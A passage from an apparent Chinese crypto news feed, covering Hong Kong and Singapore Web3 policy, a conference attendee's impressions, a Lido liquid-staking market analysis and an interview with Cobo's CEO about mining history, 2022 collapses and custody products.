以交易为导向。中国寄希望香港承担与外界进行贸易、金融、货币和技术交换的角色，而美国也会在一定范围内容忍甚至鼓励香港担任这个角色，因此香港的 Web3 市场会更加交易导向，对于灰色数字金融市场的存在和发展的容忍度会高一些，但是对于 ICO 等融资集资行为仍会非常谨慎乃至严格。 香港 Web3 仍在试点期，有反复可能。如果经过一个时期不能够帮助香港达成预期的目标，甚至由于监管不善，出现一些风险和破坏性金融事件，也有可能会逆转决策层的看法，导致政策出现反复。也因此，港府在监管方面并不会放松，力保画好红线，守好底线。 新加坡 Web3 策略更稳健。相比之下，由于美国供应链重构过程中，东盟国家仍然是一个重点，因此新加坡作为东盟内的主权国家，其全球物流中心的地位并未遭到削弱，反而得到增强。而在传统金融领域，其区域金融中心的地位已经在前两年获得增强。因此在赢家心态之下，新加坡更希望在中美竞争的大格局下更进一步，希望成为全球物流与数字金融的双重中心，因此会有更强的实体经济导向，更强的 TradFi 结合导向，行事越加稳健。 新加坡对灰色数字金融容忍度更低。赢家心态的另一面是担心出事。由于去年 Luna、3AC 及 FTX 崩溃，已经使得新加坡认识到不规范的 crypto 金融机构的潜在高风险和破坏性，为此会更希望引导 Web3 的发展正规化、建设性，对灰色数字金融市场的容忍度会低一些，表现为对相关业务设置较高的准入门槛和较强的事实监管力度。 两地都不太容易做出世界级的 Web3 社交、游戏等 2C 类项目。港新两地人口有限，Web3 产业都是依托国际金融中心地位发展，因此都会突出金融特色。以大量用户取胜的 Web3 社交、游戏类项目，不是两地的比较优势所在。 两地都会积极支持 RWA 发展。近期 BIS、花旗银行等机构反复强调真实世界资产通证化（RWA tokenization）的潜力，相信这一方向会得到港、新两地的高度重视。香港背靠内地，具有巨量的 RWA 资源，可以充当很好的金融桥梁。新加坡有扼守全球最重要供应链的区位优势，可以基于跨国供应链进行贸易金融 RWA 的拓展。 这次香港之行的所见所闻，仅为我个人的第一视角，我所见只是沧海一栗，并不代表所有。 1.相对于三年前参加很多海外活动的气氛相比，这次的活动更像是大型的线下交流会，尤其是被压抑很久的国内交流不畅通的情绪爆发。 2.研讨型的技术交流太少，与会者商务层面的小伙伴太多，偏技术类的太少，看会场不是有钱的VC就是缺钱的项目方，虽然有些展台确实是不错的项目，但台姐几乎是一问三不知。 3.私下的大型交流会确实挺多的，基本都是项目方的路演，没有听到对于行业发展方向的讨论，没有对于下一代发力的思考，少数的几个看上去不错的主题，最后都变成了吹牛逼。 4.小范围不超过五个人的下午茶或者点对点的讨论效果非常的棒，个别项目方的小伙伴非常的给力，明显带着发展计划来的，尤其是很少露面的一些小伙伴思考都很深刻，可惜时间有限，没有能谈的非常尽兴。 5.活跃在最前线的小伙伴基本对于“钱”的诉求很深，这不是坏事，但更多都是停留在畅想的阶段，落地性差一些。 6.这次确实讨论很多香港WEB3的发展，假大空太多，政治意义过大，实际结果还是未知，这也是在其他默默发展的城市所看不到的，体验真正的技术类交流，国内甚至新加坡都不是合适的地方。但谈钱，可以。 7.多数不论讨论的开头和目标是什么，最后基本都走到价格预测和财富密码上，就效果来说没有推特上大佬们的画图好看。 8.极个别的私享会质量超级高，可惜门槛也太高，发言者的层次太高，角度也很高。 9.这次香港会议的总结，VC满场跑，项目多如狗，满口ABC，韭菜一撮撮。 个人偏见，不喜请轻喷。 10、Jordan，UXUY联合创始人  ( 3 min )
    昆仑万维正式发布千亿级大语言模型“天工”，即日起启动邀请测试
    PANews 4月17日消息，据财联社报道，昆仑万维今日正式发布千亿级大语言模型“天工”，同时宣布即日起启动邀请测试。从“天工”目前发布版本来看，最高已能支持1万字以上文本对话，实现20轮次以上用户交互。 根据此前消息，“天工”大模型已经非常接近OpenAI ChatGPT的智能水平。  ( 1 min )
    上海升级完成，Lido是否能继续领跑LSD赛道？
    来源：IOSG Ventures 编译：比推BitpushNews Mary Liu 前情提要： 自比特币和区块链的早期以来，就有中心化的中介机构为不同用户提供加密转换服务。只有引入以太坊，才有可能构建非托管 dApp，使用户能够在没有受信任的中间人的情况下交易他们的加密货币。 然而，中心化在包括交易、借贷和基金托管在内的关键应用垂直领域仍然占据主导地位。这种中心化的危险在 2022 年变得非常明显，借贷平台面临争议，最大的交易所之一 FTX 在涉嫌欺诈后宣布破产。 新颖的赛道–NFT–诞生于去中心化协议和可编程区块链，并且曾一度是中心化参与者无法跟上去中心化对手步伐的唯一领域。但随着以太坊转向权益证明 (POS) 以及用户没有本地抵押选项，出现了一个新的竞争赛道：质押池。 Staking 质押是 PoS 区块链的一个重要特征，因为它提供了一种机制来保护网络并激励用户保持其完整性。通过要求用户以质押和可削减代币的形式参与，PoS 网络可以阻止恶意行为并奖励遵守规则和维护网络的用户。 质押池结合了许多不同参与者的资源，共同质押大量代币，从而增加了他们被选中创建新区块的机会。此外，抵押池可以帮助那些没有足够代币单独质押的小规模验证者参与网络并获得奖励。 传统上，质押需要将代币锁定一段时间，这可能会使它们缺乏流动性并为质押者产生机会成本。然而，通过流动性质押，用户可以通过第三方服务提供商/协议来质押他们的 ETH，然后第三方服务提供商/协议分发代表质押 ETH 的流动性代币，该流动性代币可以自由交易或用作抵押品，同时仍可获得质押奖励。 ETH 质押吸引了非托管和托管实体的兴趣。两者竞争的结果可能对以太坊的未来产生重大影响。如果中心化参与者开始主导市场，那将是以太坊去中心化精神的巨大挫折。 如下图所示，非托管质押协议 Lido 目前处于领先地位，占据了 ETH 质押市场份额的 30%。尽管如此，Coinbase、Kraken 和币安等中心化实体的市场占比紧随其后。 然而，以太坊社区中一些有影响力的代表一直在推动限制 Lido 的增长。例如，Vitalik Buterin 认为，无论是托管还是非托管项目，质押项目都应该自行设定上限，提出 15% 的门槛。 另一方面，一些成员无视社区压力，认为这个市场很容易成为赢家通吃的局面，受流动性、可组合性、网络效应、专业化和收益优化等因素的驱动。但考虑到以太坊社区的价值观和目标以及对更多分布式质押的渴望，领导者将控制多少市场份额的问题不得不引起重视。 虽然 Lido 坚决反对自行施加上限的想法，但他们不太可能垄断市场。相对而言，Lido 的份额应该不会轻易超过 30-35% 这个区间。下面，我们将探讨可能阻止 Lido 成为“赢家通吃”的因素。 虽然预计上海硬分叉会增强对质押垂直领域的信心并鼓励更多储户使用其产品，但升级可能会削弱Lido 的“护城河”。 首先，作为拥有流动性最高的 ETH 代币的市场领导者，Lido 为储户提供了更高的保证，即他们可以在没有大幅折扣的情况下随时退出稳定币或其他资产。 然而，随着近乎即时的取款，这种防御层消失了，因为储户总是可以在几小时/几天内转换回原生 ETH。这可能会导致储户更愿意尝试新颖的设计或选择与 Lido 相比具有其他优势的协议。 此外，中心化玩家可能会提供支持更快提款选项的产品，这可能会影响用户的便利性。 此外，激烈的竞争为最终用户提供了一系列不同的权衡取舍，尚未真正挑战 Lido 的市场主导地位。直到最近，Lido 几乎还是唯一可行的去中心化质押协议。如果没有 Lido，中心化参与者很可能会主导 ETH 质押市场。 然而，今天，Lido 的大多数非托管竞争对手都在成熟，并成为重视去中心化的利益相关者的可能替代方案。此外，虽然 Lido 已经将其大部分代币分配给了不同的利益相关者，但其竞争对手仍可以利用创新的代币设计来吸引 ETH 存款人。然而，虽然代币激励确实可以强大地获得短期吸引力，但稳健的设计选择和用户体验决定了长期的赢家。 此外，Lido 分叉始终是可能的，尽管无法预测其影响。这个分叉对 Lido 的威胁有多大取决于各种因素，例如 LDO 治理决策、时机、分叉的创新（例如在治理层面）以及分叉核心贡献者的合法性。一些社区成员可能正在密切关注新生的 Lido 治理，并等待任何重大错误来创建分叉。 此外，质押市场仍处于初期阶段，可能会出现一波又一波的中断。例如，如果成功，再质押具有破坏性潜力。例如：再质押市场 Eigen Layer 为 ETH 质押者引入了接受额外风险并参与保护不同中间件的选择权，从而提高了他们的资源利用率，并找到了 ETH 质押收益之外的额外收入来源。 虽然 Eigen 可以作为 LSD 的补充，但它也可以直接与质押者交互。由于这些参与者管理自己的硬件并有能力提供中间件，因此更有可能进一步激励单独的 Staking。因此，Eigen 很可能会从现有的 LSD 解决方案中夺取市场份额。 那些认为 LIDO 可以占领整个市场的人，是建立在市场领导者有权获得网络效应的前提下建立这种预期的。下面我们探讨这些影响是否被高估了。 传统观点是： 首先，如前所述，存在机会成本和流动性不足的问题。当无法提款时，LSD 的流动性就成为一个关键因素。但随着近乎即时提款的出现，这种优势在很大程度上被削弱了。尽管如此，Lido 确实利用了上海升级之前的时期来实现与领先的 DeFi 协议的大部分集成，这样 stETH 持有者就可以从 DeFi 的可组合性中受益。 然而，代币持有者真的如此渴望在链上应用程序中使用他们的 ETH 吗？ 看看最近的牛市周期，尽管围绕 DeFi、NFT 和游戏的炒作，以及具有吸引力的流动性挖矿计划，但实际上只有相对较小的一部分 ETH 被用于智能合约，在牛市的高峰期有大约 18.5% 的 ETH 代币用于智能合约。 鉴于此，合理提出一个疑问：温和的质押收益率是否会将该比例提升到 20% 以上，尤其是过去牛市的高收益率也未能做到这一点之后？ 此外，值得注意的是，并非所有 DeFi 协议都支持像 stETH 这样的 rebase 代币，这导致了 Lido 生态系统中的两个标准——stETH 和 wrapped stETH（后者由于其累积奖励而通常以溢价交易）。在使用一些头部 DeFi 协议（如 MakerDAO、Balancer 和 Euler）时，这会给必须Wrapped和Unwrap stETH 的用户带来摩擦。目前，大多数 stETH 代币只集中在两个协议中，即 Aave 和Curve.fi，进一步限制了代币在 DeFi 领域的潜在影响力。 目前 ETH 的质押比例在较大的PoS链中是最低的。有些人倾向于做简单的类比，并期望 ETH 质押量的增长纯粹是因为其他链的质押量要大得多。然而，由于以下原因，以太坊有些特殊： 我们确实希望上海升级为更大规模的质押创造环境。此外，随着新的智能合约和托管解决方案经过实战检验，安全风险将不再是一个令人担忧的问题。然而，考虑到上面讨论的所有内容，50%+的 ETH 供应可能很快会被锁定在质押合约中的想法似乎是疯狂的。 虽然 Lido 是一个多链协议，但它的基本面本质上与以太坊活动和 ETH 价格相关。Lido 几乎所有的 TVL 都在以太坊上，该平台的收入来自以太坊通货膨胀奖励和交易费用。Lido 收取其平台上产生的 5% 的质押奖励，其中大部分（90%）给 stETH 持有者，其余给节点运营商。 然而，即使以 ETH 计价，Lido 仍然会出现波动，这可能是由于市场重新评估了 Lido 在质押垂直领域的地位以及 LSD 市场的估计规模。这两个因素是Lido未来创收潜力的核心驱动力。 了解 ETH 通货膨胀的动态也很重要，因为它通常占 Lido 收入的大部分。根据Ultra Sound Money的数据，抵押的 ETH 总量增加 1% 会导致基础奖励年化年减少 0.41%。因此，抵押 ETH 的整体增加不一定会导致抵押协议收入的线性增长，除非链上活动大幅增加以补偿基础奖励的减少。 当我们比较市场为 LSD 项目定价的市盈率 (P/S) 与其他一些 DeFi 协议时，市场对垂直流动性质押的兴奋是显而易见的。 例如，比 Rocket Pool 或 Stakewise 等竞争对手更保守的 Lido，其市盈率仍然比“老牌”DeFi 协议 MakerDAO 更诱人，市盈率约为 80，而 Maker 的市盈率为 37。 MakerDAO 不仅仅是一个随机基准，它与垂直质押有相似之处，因为 LSD 本质上是合成资产，类似于 Maker 的 DAI。如果某些 LSD 最终甚至选择发行他们自己的合成稳定币，也就不足为奇了。 Lido在上海升级时间线变得更加清晰的时候，其市盈率得到了显著提升，之后，一方面由于 LDO 价格下降，另一方面由于协议费用增加，其市盈率略有下降。 除非 Lido 或 Maker DAO 开始探索新的叙述或经历任何重大的特殊事件，否则在中期，我们应该期望这两个项目的市盈率会有所收敛。 假设 Lido 的市盈率在短期内收敛到 50，并简化假设 APY 为 5%，为了证明现有价格水平的合理性，Lido 必须将其 TVL 增长约 70%。 随着市场重新评估质押市场的整体规模和个体参与者的定位，新兴的流动性质押行业在未来几个月可能会出现大幅波动。 尽管社区呼吁限制单个验证者池的规模，但我们预计该领域将出现Power-law Distributions(幂律分布)，即只有少数参与者主导市场份额。然而，我们认为这不会导致赢家通吃的市场，我们预计没有任何一家公司能控制超过 35% 的市场份额。 此外，我们怀疑上海升级是否会使质押 ETH 的百分比与其他主要的权益证明链保持一致，并且我们认为 ETH 持有者对质押的兴趣在某种程度上被高估了。 虽然 Lido 享有先发优势，并被广泛认为是持有 ETH 的最安全方式，但它尚未面临来自成熟竞争对手的竞争，这些竞争对手可以利用代币激励来吸引 Lido 的储户。 免责声明：IOSG 是 Stakewise、Swell 和 Eigen Layer 的投资者。  ( 4 min )
    对话Cobo神鱼：明年比特币减半叙事值得期待，去中心化技术枝繁叶茂
    嘉宾：神鱼，Cobo 联合创始人兼 CEO 主持人：Colin Wu， 吴说区块链创始人 Colin Wu（主持人）：大家好！虽然行业里的人都很熟悉了，但在场有圈外的观众，麻烦神鱼简单自我介绍一下。 神鱼：大家好！我叫神鱼，算是一个老韭菜、老矿工了，2011 年的时候正式参与了中国区块链早期的建设，2013 年的时候推出了第一个中文世界矿池，一度成为了全球最大的比特币、以太坊矿池。峰值的时候有超过三分之一的比特币算力，有一个小插曲，我们也是世界上唯一一个团队对比特币进行过成功的双花攻击的团队。 2017 年之后发现区块链开始有了大量应用，但是围绕着安全和私钥管理暴露出了非常多的风险敞口，作为比较擅长做基础设施的公司，成立了 Cobo 专门专注于私钥管理及其衍生风险的一家公司。目前公司做了六年多的时间，主要是围绕着底层安全、钱包托管，从全中心化、半中心化的 MPC 协管，到完全去中心化的链上智能合约多签产品形态都有涉猎。 Colin Wu（主持人）：简单介绍一下我们，如果大家阅读新闻的话可以在 Twitter、Telegram、公众号平台搜索「吴说区块链」。 神鱼是 Crypto 中文圈最乐于分享的人，很多新闻他也都曾经在各种各样的采访、文章中发表过，大家也可以去网上搜索一些他过去的观点。某种程度上，他应该是华语行业中最乐于向大家分享的早期大佬。 币圈可以分成几个阶段，最早期是 2015 年前加入的行业人士，在中国以矿工为主，请神鱼分享一下你刚进入行业的时候是什么样的契机，以及那时候圈子的氛围是什么样。很多早期文章非常有意思，比如说大家都在一个 QQ 群里面，是很有意思的意识，大家可以搜索一些文章，记得神鱼还接受过视频采访，麻烦神鱼再给大家分享一下。 神鱼：我进入圈子是很偶然的因素，当时我在上大学，在一个很无聊的下午图书馆看书上网的过程中突然看到了两次比特币的新闻，可能是比特币突破 1 美金的新闻，我很好奇去搜了一下什么是 Bitcoin，就发现了中本聪的这篇白皮书，读完白皮书以后非常震撼，接下来花了三个月的时间，基本上除了在床上躺着看 Bitcoin 的论坛、社区讨论，基本上没下床，包括吃的都是宿舍同学帮我带回来了。 三个多月逛完论坛以后，发现当时的 Crypto 世界还是一群加密极客，大家都有各种各样天马行空的 idea，在当时看起来不太能行，但底层逻辑似乎又符合逻辑，加密货币最核心的问题是货币数字化之后在全球自由流转，同时又不被双花。虽然都是一些很成熟的技术，但是组合的非常好。 作为工科生，被这些技术、讨论深深吸引，所以我后面大学后面就没有好好上学了，在比特币社区里做建设和探索。最早是把国外技术类文章翻译到中国，也交到了非常多国内的朋友，最早国内社区是围绕着 QQ 群作为交流手段，比如说大家还能看到、听到的的一些群，像「和平饭店」以及一些很神秘的群组，在我的印象中大概有 4、5 万人的群体。一方面是一帮加密极客，另一方面是很多国内和很巧合拥有了大量显卡资源的一帮人，这帮人最早是做诺基亚手机水货手机的破解，突然 iPhone 火了，这帮水货手机没有了市场，他们手里有大量闲置显卡，刚好发现了比特币，切进来利用显卡挖矿。基本上当时 2011-2013 年的阶段，中国加密生态就是这两帮人，一帮是充满着理想的加密朋克，一帮是脚踏实地拿着显卡偷偷挖矿的矿工。 很幸运中国在很早的时候就切中了加密赛道里非常核心的挖矿领域，当时在加密生态里能做的事情不多，只有两件事情：交易和挖矿，2013 年之后开始涌现出很多华人背景的交易所，因为大家在 Web2 世界里经历了一轮团购大战之后，一些公司转行到了 Crypto 加密交易所赛道，也成为了大家耳熟能详的加密交易所前身，当时基本上是这样的状态，大家每天都在讨论各种各样很兴奋的 idea 和想法。但是十年多过去了，很多想法和 idea 现在已经变成了现实，比如说当时讨论的稳定币想法、早期去中心化交易所的 idea 现在都纷纷实现了。 站在现在回看过去，当时看起来很多不可思议的创新、idea 都能实现，今天已经到了更好的阶段，已经有了大量链上基础设施和应用，所以未来越来越清晰了。 Colin Wu（主持人）：谢谢神鱼分享的他最早期的状态，包括他提到「和平饭店」的 QQ 群，大家有兴趣可以去百度 google 上搜索一下，关于早期中国比特币世界社区是怎么形成的有非常多有意思的事情，也有很多视频采访，包括大家熟悉的宝二爷、行长等等，都可以在搜索引擎中看到非常多的信息。 2017 年是中生代，2017 年迎来了行业最大的牛市，现在很多知名人士都在那时候变得更加耀眼，比如说这几天比较火的孙哥，比如说 CZ 赵长鹏，包括很多中国相关的公链，不管是 Neo、量子链，但也有很多人觉得更多是充满着 ICO 的乱象。 回顾看 2017 年那个时代行业的意义有什么值得回顾和分享的东西？ 神鱼：站在今天回看，2017 年这一波 ICO 市场有非常重大的意义，是被大家忽略的，2017 年有非常多 ICO 泡沫，涌现了很多投机，甚至直接诈骗类的项目，站在 2020、2021 年回看，它给以太坊生态带来了大量链上资产品类，这也是过去两年 DeFi 爆发的因素，因为资产绝对多了，在 2017 年的一年里就有几十万个 ICO 项目的诞生，类比 ICO 和 IPO，在现实世界里不可想象有这么大的 IPO 发生，甚至十年也不可能有这么大的数量级。虽然当时大量诈骗事件层出不穷，但经过一年周期沉淀，好的项目、好的协议依然沉淀下来了，并且在不断迭代，在废墟中涌现了新的创新，行业是一轮又一轮的泡沫。 底层有一套基础设施以区块链底层性能底层公链基础设施、应用层两个场景互相驱动的过程。一旦有了大量泡沫，带来了大量应用爆发，就会倒逼底层区块链基础设施完善自己。但到了泡沫顶点发现区块链底层基础设施不能支撑应用的技术发展，这时候泡沫破裂了，进入了沉淀期，有非常多各种各样的极客会迭代底层基础设施，为未来下一次爆发做好基础设施铺垫，这也是行业这么快持续不断迭代的内在驱动因素。泡沫是好事情，只是在泡沫中的每一个个体需要保持一定的冷静，需要做符合逻辑的事情，从长远行业周期来看是个好事情。 Colin Wu（主持人）：非常有道理，普通人会觉得 2017 年充满着泡沫，而且是整个行业 ICO 非常混乱的状态。现在来看，2020 年、2021 年涌现的项目也是 2017 年、2018 年开始做的，不管是 Uniswap 还是现在更多的 DeFi 相关协议，以及公链，像波卡、Filecoin 都是在那个时候开始做，本身协议层面并不像中心化机构那么高效，还需要一段时间把事情做得更好。2017 年投了很多项目，但是到了 2020、2021 年出现了千倍万倍币，回头一看原来是在 2017、2018 年投的所谓的优质项目。 您刚刚也提到了 DeFi，2020、2021 年最重要的事情就是 DeFi 的兴起，包括您自己当时也是最有名的 DeFi 矿工，从实体矿工到了 DeFi 矿工，您具体接触对 DeFi 产生浓厚兴趣的时候大概是什么阶段？DeFi 经过了几年的沉淀，对 DeFi 行业有什么新看法？ 神鱼：我个人接触 DeFi 是在 2018、2019 年的牛市末尾、熊市的开始，开始有了一些 DeFi 协议的涌现，在 EOS 上，以太坊上有早期的协议，当时 DeFi 没能大规模应用起来，缺乏驱动因素。我在上面花了些时间探索，发现都亏得差不多了，所以没有再继续了。2020、2021 年开始 DeFi 明显出现了拐点，出现了以 Compound 为代表的流动性激励新热潮。 我有比较好的习惯，我会在行业试错的前沿方向上愿意花些时间、精力、成本去试错，进行观察，同时定一个指标，当指标拐点到来的时候我会再花时间和精力进一步研究。2020、2021 年的时候我发现出现 DeFi 数据改良和用户涌入的时候，我又花了点时间，看了两三天之后市场完全不一样了，自发成长了，后来我投入了大量精力，放了大量资产在 DeFi 里做一系列操作，呼吁身边的朋友、群里的人看一看 DeFi 已经发生了质变，也比较幸运抓住了 DeFi 的这一波，做好了矿工的过渡。 从原本物理世界的 miner 变成了链上 DeFi 的玩家，这样对现实世界的制约就更少一点了，因为过去很长一段时间都苦哈哈地找电、挖矿，跟各种各样的物理世界打交道，对偏技术项的同学压力还是蛮大的。DeFi 之后发现在整个行业经历了非常多的早期技术积累，有非常多的优势，对私钥管理、底层安全的极致追求，在链上世界里更好地发挥出来，所以后面一路在 DeFi 里 build 各种各样内部用的基础设施，完善效率。近期会把内部自用工具逐步开放出来，给大家使用，欢迎大家来体验。 Colin Wu（主持人）：2020 年是「DeFi 之夏」，2021 年又进入了 NFT 爆发的时代，围绕着 NFT、各种小图片、游戏，某种程度势头应该更胜过于 DeFi，因为 DeFi 面临监管各方面的因素，尤其是 Terra 爆雷以后存在问题，但 NFT 似乎跟主流的结合更加清晰。 我记得 Vitalik 说过，最让他惊讶的是 NFT 的爆发，他根本没有想到 NFT 会有这么大的爆发，尤其是完成了对于数字收藏品的确权、交易、流转，很切实的改变了刚需的需求。 神鱼有个特点，什么都爱玩，基本没有他不玩的，NFT 他也玩的非常多。从现在角度来看，NFT 的前景是不是非常好的前景？而且也有很多创业者。对于 NFT 创业者有什么自己的想法或建议。 神鱼：虽然我个人玩的比较多，但亏的也比较多。 NFT 市场是很有趣很好玩的市场，它有非常大的特点，相对很分散化，和其他不一样，像 DeFi 的头部效应非常强，链上都承载着高价值的交易，毕竟区块链的空间很宝贵。但 NFT 市场不一样，有大量割裂的社群，每个社群有自己原生的特质和文化特征，在这样的社群里很容易找到身份认同感。2021 年 NFT 刚开始涌现的时候，有很多朋友半夜 3、5 点睡不着觉很幸福打电话跟我们聊 NFT，说这个协议多么多么好，多么多么切中人心，有什么样的文化价值，一聊就聊一个通宵。我们看到了有非常多能够切合各种各样文化群体的内心情感需求价值开始涌现，包括社交资本等价值。从这个维度来讲，NFT 的成功和存在是有一定的价值和意义。 对于广大的年轻朋友来讲，NFT 领域相比 Crypto 世界的进入门槛很低，不需要懂很多密码学知识，也不需要有大量的资金，只要有一定的艺术鉴赏能力、人文精神，大家看到的是不一样的场景和实验。NFT 世界里尤其进来了非常多 OO 后，并且早期阶段大家为了做 IP，为了打造社群，所以基本上进入的成本都是非常低廉的。也看到了 NFT 市场里充斥着大量一夜暴富的故事，带来了很多新鲜的血液。 站在现在来看，NFT 周期可能很短，也就是 3 个月左右的情绪周期，可能也经历了 3、4 轮的快速周期，站在今天相对熊市的市场，NFT 跟很多 IP、流量结合，让 Crypto 世界变得更加多元，这点特别重要，因为未来还是属于年轻一代的。在这样的条件下，NFT 带来了很多行业新生力量，虽然我个人亏了很多钱，但依然非常坚定地看好 NFT 市场对 Crypto 未来带来的新鲜血液。 另外，可以看到现实世界里有很多资产都是非标准化的，这些资产在链上很难通过标准化的通证来表达，NFT 是很好的资产品类，可以承载很多现实世界资产，从这个角度切入的话，未来 NFT 市场还大有可为，不单单是现在看到的 PFP 收藏家，可能还有很多跟现实世界结合的价值，但背后需要更多努力推动行业跟现实世界更好的结合，路会漫长一点，但应该在不遥远的未来会成为现实。 Colin Wu（主持人）：一直沿着历史往前聊，来到了 2022 年，2022 年 Crypto 行业是非常惨痛的一年，甚至是历史上爆雷金额最大的一年，不管是从一开始的中国小交易所，像虎符、AEX 到 Terra 引起巨大的振动，随后 Terra 又引爆了 Crypto 风险投资里排名最好的资本三箭资本，随后三箭资本又继续引爆，引爆了行业最大的集团巨头 DCG，大家才发现原来外表这么光鲜的巨头这么脆弱，当大家以为这个事儿快结束的时候，下半年最凶猛的来了，全世界行业顶端最金光闪闪，给政客捐款，给宗教领袖捐款，利他主义，每天出席各种非常优秀会议的 FTX 创始人 sam 竟然挪用了用户的资产，而且资不抵债，并且进行了大量很荒谬的交易。 随着一篇简单的新闻报道和赵长鹏的一篇 Twitter，几百亿的帝国竟然可以在一息之间崩塌，2022 年在加密货币的历史上一定是非常痛苦但又非常刺激，也给大家留下非常多教训的一年，包括矿圈也有很多大家耳熟能详的公司倒闭，甚至有很多问题都没有处理。当然神鱼在 2022 年还是比较稳健的，从你们的角度来看，2022 年有什么你印象最深刻的教训，或者你觉得行业有没有必要吸取什么样的教训？ 神鱼：2022 年的确身边非常残酷，身边有很多老朋友因为各种各样的事情都不能一起吃饭了。 过去这一年，行业整体波动非常大，层出不穷各种各样的事故。但是回头来看，跟比特币诞生至今 10 多年的历史上，各种各样大家不知道的安全事故底层逻辑都是一样的，本质都是人性的问题。虽然行业广为诟病的是波动率高，充满各种各样的不确定性，但过去两年行业的确定性非常强，因为来了大量非常光鲜履历的朋友，来了非常多华尔街的资本，行业开始有了原生的应用，有了 DeFi，有了 NFT，有了 GameFi，再也不是空气了。在这样的一片欣欣向荣中，突然栽了个大坑，泡沫破裂了，很多事情幻灭了。很久之前我们也经历了一轮又一轮这样的事情，底层是大家对自身、个人、公司越来越膨胀了，到了一定的心理状态之后，很多决策已经不再那么理性了，坚信价格可能不会跌破一个区间，杠杆可能更高，收益颇丰，偏离了区块链的初衷。区块链给了我们很多自由，让我们有了技术手段和工具提供更加透明、开放的世界。 但反倒因为权利最终被终端用户让渡给了中心化机构所有者，虽然表面看起来非常光鲜明亮，参与各种各样的政治事件，但在过程中每一个用户没有掌握好行业底层赋予我们的技术，把最强的一把剑让渡给了第三方替我们保管，这是行业目前面临的非常大的挑战，帮我们管理这把 key 的人很难抵抗他内心的贪婪。 换位思考，作为管理者他很轻松动用了大家的 key，很多人也不知道的情况下，行业波动率很高，又有非常多优质信息的情况下，很容易赚一笔大钱，当行业处于极速扩张，欣欣向荣的状态中，或多或少有一定概率的人抵抗不了内心的诱惑，偷偷动用了这把 key，动用一次可能盈利了，他的内心就进一步膨胀，用得越来越多，最终状态一个极端的黑天鹅，一个突发事故导致资产灰飞烟灭。 所以我觉得 2022 年是祛魅的一年，得到了非常重要的教训，大家一定要深刻地意识到是公司都可以破产，我们能相信的是什么？不应该相信人性，应该相信数学，应该相信底层的技术原理。大家一定要掌握好区块链赋予我们在新时代下的技术手段，掌握好自己手里的这把 key。 行业经历了去年一整年的极端事情后，大家也在探讨、积极思考未来怎么能让每一个人更好地使用区块链技术，增加行业透明度，规避那些逆人性的事情。现在看到了基于 MPC 多方计算之下的无私钥技术正在快速发展，相信在不远的未来，每个人都可以开箱即用地拥有一个 key，但是你的对手方和服务方，他们可能只拥有一把 key，所有交易的过程、资产都不会在任何一方手里，都是公开透明可见的，能充分地使用到区块链底层特性和数学作为基础保障。虽然我们可能在 2022 年得到了非常惨痛的教训，基本上行业 40%-50% 的中心化机构因为各种各样的原因灰飞烟灭，受到波及，但这让我们在去中心化一侧的决心走得更加坚决，能明显地感觉行业基本达成共识，基于 MPC 的无私钥解决方案，在去中心化透明度层面往上走了一大截。 能看到一个比较明显的例子，大型对冲基金团队都主动要求使用 MPC 技术协助管理资产，而不是把资产非常放心地放在中心化交易所。另外也看到了链上原生就是去中心化、透明的 DEXs 交易量及衍生品交易量也在快速发展。从这个维度来讲，2022 年我们得到了很大的教训，但行业从业者，这帮加密极客已经 take 了教训，我们正在走出低谷，未来 2-5 年的时间里势必给我们带来更多技术手段，让我们拥有更多自由。 Colin Wu（主持人）：补充一点，确实 2022 年非常惨痛，但行业又有了很多改进，比如说像中心化交易所也开始有了链上储备证明 POR，虽然大家有很多诟病，它也有很多问题，但这还是非常重要的事情。比如说如果有些正在看我们视频和在场的小白用户，如果币所在的交易所没有公布 POR 证明，请果断把你的币取出，如果一个交易所连 POR 证明都不敢证明的话，他为什么要做交易所的？又把用户的钱挪到哪里去了呢？已经变成了非常简单的选择。 简单展望一下未来，明年是比特币下一次减半，一般伴随减半行情也会有变动，现在有很多人认为比特币的价格跟美联储可能会有更深的关系，而不再受比特币减半的周期影响，请神鱼老调重弹地谈谈你对明年比特币减半，以及减半对价格、行情带来的影响，你个人的判断，不作为财务投资建议。 神鱼：首先声明，本人不太适合二级投资，我进入行业前 3 个月就发现了这件事情，所以我才走上了挖矿的这条道路，不然我就炒币去了。2017 年以后加密货币跟宏观的关联度非常高，尤其今年加息以来，关联度就更高一些了，虽然可能有一些行业原生因素带来的事件驱动结果。 从今年、短期的角度来看，有两个大的核心驱动因素：一是宏观，我们是个小池塘，取决于池塘的水位有一个因素是宏观是否会放水。目前来看宏观可能会改善，在加上 3 月份大量美国银行爆雷，让大家把比特币又纷纷当成了避险资产，从这个角度来看，宏观在改善，起码是中性的因素。 第二，行业内生驱动因素。从经济学角度来讲，减半目前起不到太大的作用，但是是很好的叙事逻辑，并且大家也都框架，在叙事框架里，大概率今年 Q4 到明年应该还有一轮减半行情。现在世界上主流的矿机还是 S19 矿机，如果明年减半以后，币价稳不到 3 万美金以上，这些矿机都得关机，历史上很少发生这种情况，即使发生了也是很短暂的。所以我个人觉得 Q4 到明年的减半行情值得期待。 Colin Wu（主持人）：神鱼是 Cobo 的创始人，请神鱼介绍一下 Cobo，Cobo 主要是做托管业务，托管业务是投入非常大比较长期的业务，想请神鱼介绍一下 Cobo 未来的发展方向及提高如何与西方主流托管机构进行竞争，怎么能变得更有优势？ 神鱼：刚才聊了非常多行业早期一路发展过来的路径，能看到这个行业目前核心有两大问题：一是 TPS 问题，性能问题，每一轮行业发展都是应用驱动，最后带来应用跟不上，泡沫破灭，继续迭代基础设施，核心就是 TPS 的问题。 二是给终端用户提供的一套解决方案，这套解决方案能够让用户非常简单易用，同时又能保证用户安全性的情况下，让用户接入区块链，让用户不会把自己掌握 key 的权利让渡给第三方，这是行业两个大问题。 目前性能问题在不远的未来应该能解决，行业经过了 7、8 年的探索，围绕着二层网络三层网络的方式解决。 接下来的问题是底层私钥安全的问题，Cobo 从 2017 年开始发现加密世界出现了层出不穷的安全事故，大家开始越来越多跟链交互了，让很多无助的人、不掌握技术的人暴露在黑客前面，我们试图构建一套围绕着底层风险安全私钥及其私钥风险管理的解决方案，底层逻辑是围绕着行业的不同阶段找到它的核心应用场景，在应用场景下提供一套围绕着私钥的解决方案。 第一阶段是以比特币为代表的阶段，核心区块链应用就是收发、存储、转移，再加上交易比特币数字资产，在这个阶段做了 Cobo Custody，纯中心化的托管解决方案，把区块链钱包作为 SaaS 化产品，做成 Wallet as a service，让有收发、存储、转账用户的需求调 API 就可以使用，非常适合现在香港的状态，有大量合规基金、新兴交易需要找到合规、安全、易用、Web2 体验的一套产品，这就是 Cobo Custody 和 Wallet as a service 这套服务。 